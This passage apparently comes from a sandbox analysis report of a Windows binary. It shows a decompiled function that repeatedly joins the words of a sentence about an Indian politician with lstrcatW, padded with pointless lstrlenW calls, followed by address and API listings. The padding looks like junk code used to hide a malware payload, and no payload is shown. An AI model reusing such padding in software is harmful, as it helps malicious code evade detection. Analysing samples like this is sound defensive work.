				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				E0040AD80(_t983, _t987, _t989, _t994);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				E0040AD80(_t983, _t987, _t989, _t994);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				E0040AD80(_t983, _t987, _t989, _t994);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha"); // executed
				E00410300(_t994, __fp0); // executed
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				return 0;
			}

0x004107f0
0x004107f0
0x00410805
0x0041080b
0x00410811
0x00410819
0x00410821
0x00410829
0x00410831
0x00410839
0x00410841
0x00410849
0x00410851
0x00410859
0x00410861
0x00410869
0x00410871
0x00410879
0x00410881
0x00410889
0x00410891
0x00410899
0x004108a1
0x004108a9
0x004108b1
0x004108b9
0x004108c1
0x004108c9
0x004108d1
0x004108d9
0x004108e1
0x004108e9
0x004108f1
0x004108f9
0x00410901
0x00410909
0x00410911
0x00410913
0x0041091a
0x0041091d
0x00410920
0x00410923
0x00410926
0x00410929
0x0041092c
0x0041092f
0x00410932
0x00410935
0x00410938
0x0041093b
0x0041093e
0x00410941
0x00410944
0x00410947
0x0041094a
0x0041094d
0x00410950
0x00410953
0x00410956
0x00410959
0x0041095c
0x0041095f
0x00410967
0x0041096f
0x00410977
0x0041097f
0x00410987
0x0041098f
0x00410997
0x0041099f
0x004109a7
0x004109af
0x004109b7
0x004109bf
0x004109c7
0x004109cf
0x004109d7
0x004109df
0x004109e7
0x004109ef
0x004109f7
0x004109ff
0x00410a07
0x00410a0f
0x00410a17
0x00410a1f
0x00410a27
0x00410a2f
0x00410a37
0x00410a3f
0x00410a47
0x00410a4f
0x00410a57
0x00410a5f
0x00410a67
0x00410a6f
0x00410a77
0x00410a7f
0x00410a87
0x00410a8f
0x00410a97
0x00410a9f
0x00410aa7
0x00410aaf
0x00410ab7
0x00410abf
0x00410ac7
0x00410acf
0x00410ad7
0x00410adf
0x00410ae7
0x00410aef
0x00410af7
0x00410aff
0x00410b07
0x00410b0f
0x00410b17
0x00410b1f
0x00410b27
0x00410b2f
0x00410b37
0x00410b3f
0x00410b47
0x00410b4f
0x00410b57
0x00410b5f
0x00410b62
0x00410b65
0x00410b68
0x00410b6b
0x00410b6e
0x00410b71
0x00410b74
0x00410b77
0x00410b7a
0x00410b7d
0x00410b80
0x00410b83
0x00410b86
0x00410b89
0x00410b8c
0x00410b8f
0x00410b92
0x00410b95
0x00410b98
0x00410b9b
0x00410b9e
0x00410ba1
0x00410ba4
0x00410ba7
0x00410baf
0x00410bb7
0x00410bbf
0x00410bc7
0x00410bcf
0x00410bd7
0x00410bdf
0x00410be7
0x00410bef
0x00410bf7
0x00410bff
0x00410c07
0x00410c0f
0x00410c17
0x00410c1f
0x00410c27
0x00410c2f
0x00410c37
0x00410c3f
0x00410c47
0x00410c4f
0x00410c57
0x00410c5f
0x00410c67
0x00410c6f
0x00410c77
0x00410c7f
0x00410c87
0x00410c8f
0x00410c97
0x00410c9f
0x00410ca7
0x00410cac
0x00410cb7
0x00410cbf
0x00410cc7
0x00410ccf
0x00410cd7
0x00410cdf
0x00410ce7
0x00410cef
0x00410cf7
0x00410cff
0x00410d07
0x00410d0f
0x00410d17
0x00410d1f
0x00410d27
0x00410d2f
0x00410d37
0x00410d3f
0x00410d47
0x00410d4f
0x00410d57
0x00410d5f
0x00410d67
0x00410d6f
0x00410d77
0x00410d7f
0x00410d87
0x00410d8f
0x00410d97
0x00410d9f
0x00410da7
0x00410daf
0x00410db2
0x00410db5
0x00410db8
0x00410dbb
0x00410dbe
0x00410dc1
0x00410dc4
0x00410dc7
0x00410dca
0x00410dcd
0x00410dd0
0x00410dd3
0x00410dd6
0x00410dd9
0x00410ddc
0x00410ddf
0x00410de2
0x00410de5
0x00410de8
0x00410deb
0x00410dee
0x00410df1
0x00410df4
0x00410df7
0x00410dff
0x00410e07
0x00410e0f
0x00410e17
0x00410e1f
0x00410e27
0x00410e2f
0x00410e37
0x00410e3f
0x00410e47
0x00410e4f
0x00410e57
0x00410e5f
0x00410e67
0x00410e6f
0x00410e77
0x00410e7f
0x00410e87
0x00410e8f
0x00410e97
0x00410e9f
0x00410ea7
0x00410eaf
0x00410eb7
0x00410ebf
0x00410ec7
0x00410ecf
0x00410ed7
0x00410edf
0x00410ee7
0x00410eef
0x00410ef7
0x00410ef9
0x00410f04
0x00410f0c
0x00410f14
0x00410f1c
0x00410f24
0x00410f2c
0x00410f34
0x00410f3c
0x00410f44
0x00410f4c
0x00410f54
0x00410f5c
0x00410f64
0x00410f6c
0x00410f74
0x00410f7c
0x00410f84
0x00410f8c
0x00410f94
0x00410f9c
0x00410fa4
0x00410fac
0x00410fb4
0x00410fbc
0x00410fc4
0x00410fcc
0x00410fd4
0x00410fdc
0x00410fe4
0x00410fec
0x00410ff4
0x00410ffc
0x00410fff
0x00411002
0x00411005
0x00411008
0x0041100b
0x0041100e
0x00411011
0x00411014
0x00411017
0x0041101a
0x0041101d
0x00411020
0x00411023
0x00411026
0x00411029
0x0041102c
0x0041102f
0x00411032
0x00411035
0x00411038
0x0041103b
0x0041103e
0x00411041
0x00411044
0x0041104c
0x00411054
0x0041105c
0x00411064
0x0041106c
0x00411074
0x0041107c
0x00411084
0x0041108c
0x00411094
0x0041109c
0x004110a4
0x004110ac
0x004110b4
0x004110bc
0x004110c4
0x004110cc
0x004110d4
0x004110dc
0x004110e4
0x004110ec
0x004110f4
0x004110fc
0x00411104
0x0041110c
0x00411114
0x0041111c
0x00411124
0x0041112c
0x00411134
0x0041113c
0x00411144
0x00411146
0x00411151
0x00411159
0x00411161
0x00411169
0x00411171
0x00411179
0x00411181
0x00411189
0x00411191
0x00411199
0x004111a1
0x004111a9
0x004111b1
0x004111b9
0x004111c1
0x004111c9
0x004111d1
0x004111d9
0x004111e1
0x004111e9
0x004111f1
0x004111f9
0x00411201
0x00411209
0x00411211
0x00411219
0x00411221
0x00411229
0x00411231
0x00411239
0x00411241
0x00411249
0x0041124c
0x0041124f
0x00411252
0x00411255
0x00411258
0x0041125b
0x0041125e
0x00411261
0x00411264
0x00411267
0x0041126a
0x0041126d
0x00411270
0x00411273
0x00411276
0x00411279
0x0041127c
0x0041127f
0x00411282
0x00411285
0x00411288
0x0041128b
0x0041128e
0x00411291
0x00411299
0x004112a1
0x004112a9
0x004112b1
0x004112b9
0x004112c1
0x004112c9
0x004112d1
0x004112d9
0x004112e1
0x004112e9
0x004112f1
0x004112f9
0x00411301
0x00411309
0x00411311
0x00411319
0x00411321
0x00411329
0x00411331
0x00411339
0x00411341
0x00411349
0x00411351
0x00411359
0x00411361
0x00411369
0x00411371
0x00411379
0x00411381
0x00411389
0x00411391
0x00411393
0x0041139e
0x004113a6
0x004113ae
0x004113b6
0x004113be
0x004113c6
0x004113ce
0x004113d6
0x004113de
0x004113e6
0x004113ee
0x004113f6
0x004113fe
0x00411406
0x0041140e
0x00411416
0x0041141e
0x00411426
0x0041142e
0x00411436
0x0041143e
0x00411446
0x0041144e
0x00411456
0x0041145e
0x00411466
0x0041146e
0x00411476
0x0041147e
0x00411486
0x0041148e
0x00411496
0x00411499
0x0041149c
0x0041149f
0x004114a2
0x004114a5
0x004114a8
0x004114ab
0x004114ae
0x004114b1
0x004114b4
0x004114b7
0x004114ba
0x004114bd
0x004114c0
0x004114c3
0x004114c6
0x004114c9
0x004114cc
0x004114cf
0x004114d2
0x004114d5
0x004114d8
0x004114db
0x004114de
0x004114e6
0x004114ee
0x004114f6
0x004114fe
0x00411506
0x0041150e
0x00411516
0x0041151e
0x00411526
0x0041152e
0x00411536
0x0041153e
0x00411546
0x0041154e
0x00411556
0x0041155e
0x00411566
0x0041156e
0x00411576
0x0041157e
0x00411586
0x0041158e
0x00411596
0x0041159e
0x004115a6
0x004115ae
0x004115b6
0x004115be
0x004115c6
0x004115ce
0x004115d6
0x004115de
0x004115e0
0x004115eb
0x004115f3
0x004115fb
0x00411603
0x0041160b
0x00411613
0x0041161b
0x00411623
0x0041162b
0x00411633
0x0041163b
0x00411643
0x0041164b
0x00411653
0x0041165b
0x00411663
0x0041166b
0x00411673
0x0041167b
0x00411683
0x0041168b
0x00411693
0x0041169b
0x004116a3
0x004116ab
0x004116b3
0x004116bb
0x004116c3
0x004116cb
0x004116d3
0x004116db
0x004116e3
0x004116e6
0x004116e9
0x004116ec
0x004116ef
0x004116f2
0x004116f5
0x004116f8
0x004116fb
0x004116fe
0x00411701
0x00411704
0x00411707
0x0041170a
0x0041170d
0x00411710
0x00411713
0x00411716
0x00411719
0x0041171c
0x0041171f
0x00411722
0x00411725
0x00411728
0x0041172b
0x00411733
0x0041173b
0x00411743
0x0041174b
0x00411753
0x0041175b
0x00411763
0x0041176b
0x00411773
0x0041177b
0x00411783
0x0041178b
0x00411793
0x0041179b
0x004117a3
0x004117ab
0x004117b3
0x004117bb
0x004117c3
0x004117cb
0x004117d3
0x004117db
0x004117e3
0x004117eb
0x004117f3
0x004117fb
0x00411803
0x0041180b
0x00411813
0x0041181b
0x00411823
0x0041182b
0x0041182d
0x00411838
0x00411840
0x00411848
0x00411850
0x00411858
0x00411860
0x00411868
0x00411870
0x00411878
0x00411880
0x00411888
0x00411890
0x00411898
0x004118a0
0x004118a8
0x004118b0
0x004118b8
0x004118c0
0x004118c8
0x004118d0
0x004118d8
0x004118e0
0x004118e8
0x004118f0
0x004118f8
0x00411900
0x00411908
0x00411910
0x00411918
0x00411920
0x00411928
0x00411930
0x00411933
0x00411936
0x00411939
0x0041193c
0x0041193f
0x00411942
0x00411945
0x00411948
0x0041194b
0x0041194e
0x00411951
0x00411954
0x00411957
0x0041195a
0x0041195d
0x00411960
0x00411963
0x00411966
0x00411969
0x0041196c
0x0041196f
0x00411972
0x00411975
0x00411978
0x00411980
0x00411988
0x00411990
0x00411998
0x004119a0
0x004119a8
0x004119b0
0x004119b8
0x004119c0
0x004119c8
0x004119d0
0x004119d8
0x004119e0
0x004119e8
0x004119f0
0x004119f8
0x00411a00
0x00411a08
0x00411a10
0x00411a18
0x00411a20
0x00411a28
0x00411a30
0x00411a38
0x00411a40
0x00411a48
0x00411a50
0x00411a58
0x00411a60
0x00411a68
0x00411a70
0x00411a78
0x00411a7a
0x00411a85
0x00411a8d
0x00411a95
0x00411a9d
0x00411aa5
0x00411aad
0x00411ab5
0x00411abd
0x00411ac5
0x00411acd
0x00411ad5
0x00411add
0x00411ae5
0x00411aed
0x00411af5
0x00411afd
0x00411b05
0x00411b0d
0x00411b15
0x00411b1d
0x00411b25
0x00411b2d
0x00411b35
0x00411b3d
0x00411b45
0x00411b4d
0x00411b55
0x00411b5d
0x00411b65
0x00411b6d
0x00411b75
0x00411b7d
0x00411b80
0x00411b83
0x00411b86
0x00411b89
0x00411b8c
0x00411b8f
0x00411b92
0x00411b95
0x00411b98
0x00411b9b
0x00411b9e
0x00411ba1
0x00411ba4
0x00411ba7
0x00411baa
0x00411bad
0x00411bb0
0x00411bb3
0x00411bb6
0x00411bb9
0x00411bbc
0x00411bbf
0x00411bc2
0x00411bc5
0x00411bcd
0x00411bd5
0x00411bdd
0x00411be5
0x00411bed
0x00411bf5
0x00411bfd
0x00411c05
0x00411c0d
0x00411c15
0x00411c1d
0x00411c25
0x00411c2d
0x00411c35
0x00411c3d
0x00411c45
0x00411c4d
0x00411c55
0x00411c5d
0x00411c65
0x00411c6d
0x00411c75
0x00411c7d
0x00411c85
0x00411c8d
0x00411c95
0x00411c9d
0x00411ca5
0x00411cad
0x00411cb5
0x00411cbd
0x00411cc5
0x00411cc7
0x00411cd2
0x00411cda
0x00411ce2
0x00411cea
0x00411cf2
0x00411cfa
0x00411d02
0x00411d0a
0x00411d12
0x00411d1a
0x00411d22
0x00411d2a
0x00411d32
0x00411d3a
0x00411d42
0x00411d4a
0x00411d52
0x00411d5a
0x00411d62
0x00411d6a
0x00411d72
0x00411d7a
0x00411d82
0x00411d8a
0x00411d92
0x00411d9a
0x00411da2
0x00411daa
0x00411db2
0x00411dba
0x00411dc2
0x00411dca
0x00411dcd
0x00411dd0
0x00411dd3
0x00411dd6
0x00411dd9
0x00411ddc
0x00411ddf
0x00411de2
0x00411de5
0x00411de8
0x00411deb
0x00411dee
0x00411df1
0x00411df4
0x00411df7
0x00411dfa
0x00411dfd
0x00411e00
0x00411e03
0x00411e06
0x00411e09
0x00411e0c
0x00411e0f
0x00411e12
0x00411e1a
0x00411e22
0x00411e2a
0x00411e32
0x00411e3a
0x00411e42
0x00411e4a
0x00411e52
0x00411e5a
0x00411e62
0x00411e6a
0x00411e72
0x00411e7a
0x00411e82
0x00411e8a
0x00411e92
0x00411e9a
0x00411ea2
0x00411eaa
0x00411eb2
0x00411eba
0x00411ec2
0x00411eca
0x00411ed2
0x00411eda
0x00411ee2
0x00411eea
0x00411ef2
0x00411efa
0x00411f02
0x00411f0a
0x00411f12
0x00411f14
0x00411f1f
0x00411f27
0x00411f2f
0x00411f37
0x00411f3f
0x00411f47
0x00411f4f
0x00411f57
0x00411f5f
0x00411f67
0x00411f6f
0x00411f77
0x00411f7f
0x00411f87
0x00411f8f
0x00411f97
0x00411f9f
0x00411fa7
0x00411faf
0x00411fb7
0x00411fbf
0x00411fc7
0x00411fcf
0x00411fd7
0x00411fdf
0x00411fe7
0x00411fef
0x00411ff7
0x00411fff
0x00412007
0x0041200f
0x00412017
0x0041201a
0x0041201d
0x00412020
0x00412023
0x00412026
0x00412029
0x0041202c
0x0041202f
0x00412032
0x00412035
0x00412038
0x0041203b
0x0041203e
0x00412041
0x00412044
0x00412047
0x0041204a
0x0041204d
0x00412050
0x00412053
0x00412056
0x00412059
0x0041205c
0x0041205f
0x00412067
0x0041206f
0x00412077
0x0041207f
0x00412087
0x0041208f
0x00412097
0x0041209f
0x004120a7
0x004120af
0x004120b7
0x004120bf
0x004120c7
0x004120cf
0x004120d7
0x004120df
0x004120e7
0x004120ef
0x004120f7
0x004120ff
0x00412107
0x0041210f
0x00412117
0x0041211f
0x00412127
0x0041212f
0x00412137
0x0041213f
0x00412147
0x0041214f
0x00412157
0x0041215f
0x00412169

APIs

GetProcessHeap.KERNEL32(00000000,00002710), ref: 004107FE
RtlAllocateHeap.NTDLL(00000000), ref: 00410805
lstrcatW.KERNEL32(00000000,Lovely), ref: 00410819
lstrcatW.KERNEL32(00000000,Anand), ref: 00410821
lstrcatW.KERNEL32(00000000,00448ED0), ref: 00410829
lstrcatW.KERNEL32(00000000,00448ED8), ref: 00410831
lstrcatW.KERNEL32(00000000,Indian), ref: 00410839
lstrcatW.KERNEL32(00000000,politician), ref: 00410841
lstrcatW.KERNEL32(00000000,and), ref: 00410849
lstrcatW.KERNEL32(00000000,former), ref: 00410851
lstrcatW.KERNEL32(00000000,member), ref: 00410859
lstrcatW.KERNEL32(00000000,00448F30), ref: 00410861
lstrcatW.KERNEL32(00000000,the), ref: 00410869
lstrcatW.KERNEL32(00000000,10th), ref: 00410871
lstrcatW.KERNEL32(00000000,Lok), ref: 00410879
lstrcatW.KERNEL32(00000000,Sabha), ref: 00410881
lstrcatW.KERNEL32(00000000,the), ref: 00410889
lstrcatW.KERNEL32(00000000,lower), ref: 00410891
lstrcatW.KERNEL32(00000000,house), ref: 00410899
lstrcatW.KERNEL32(00000000,00448F80), ref: 004108A1
lstrcatW.KERNEL32(00000000,the), ref: 004108A9
lstrcatW.KERNEL32(00000000,Parliament), ref: 004108B1
lstrcatW.KERNEL32(00000000,00448FA8), ref: 004108B9
lstrcatW.KERNEL32(00000000,India), ref: 004108C1
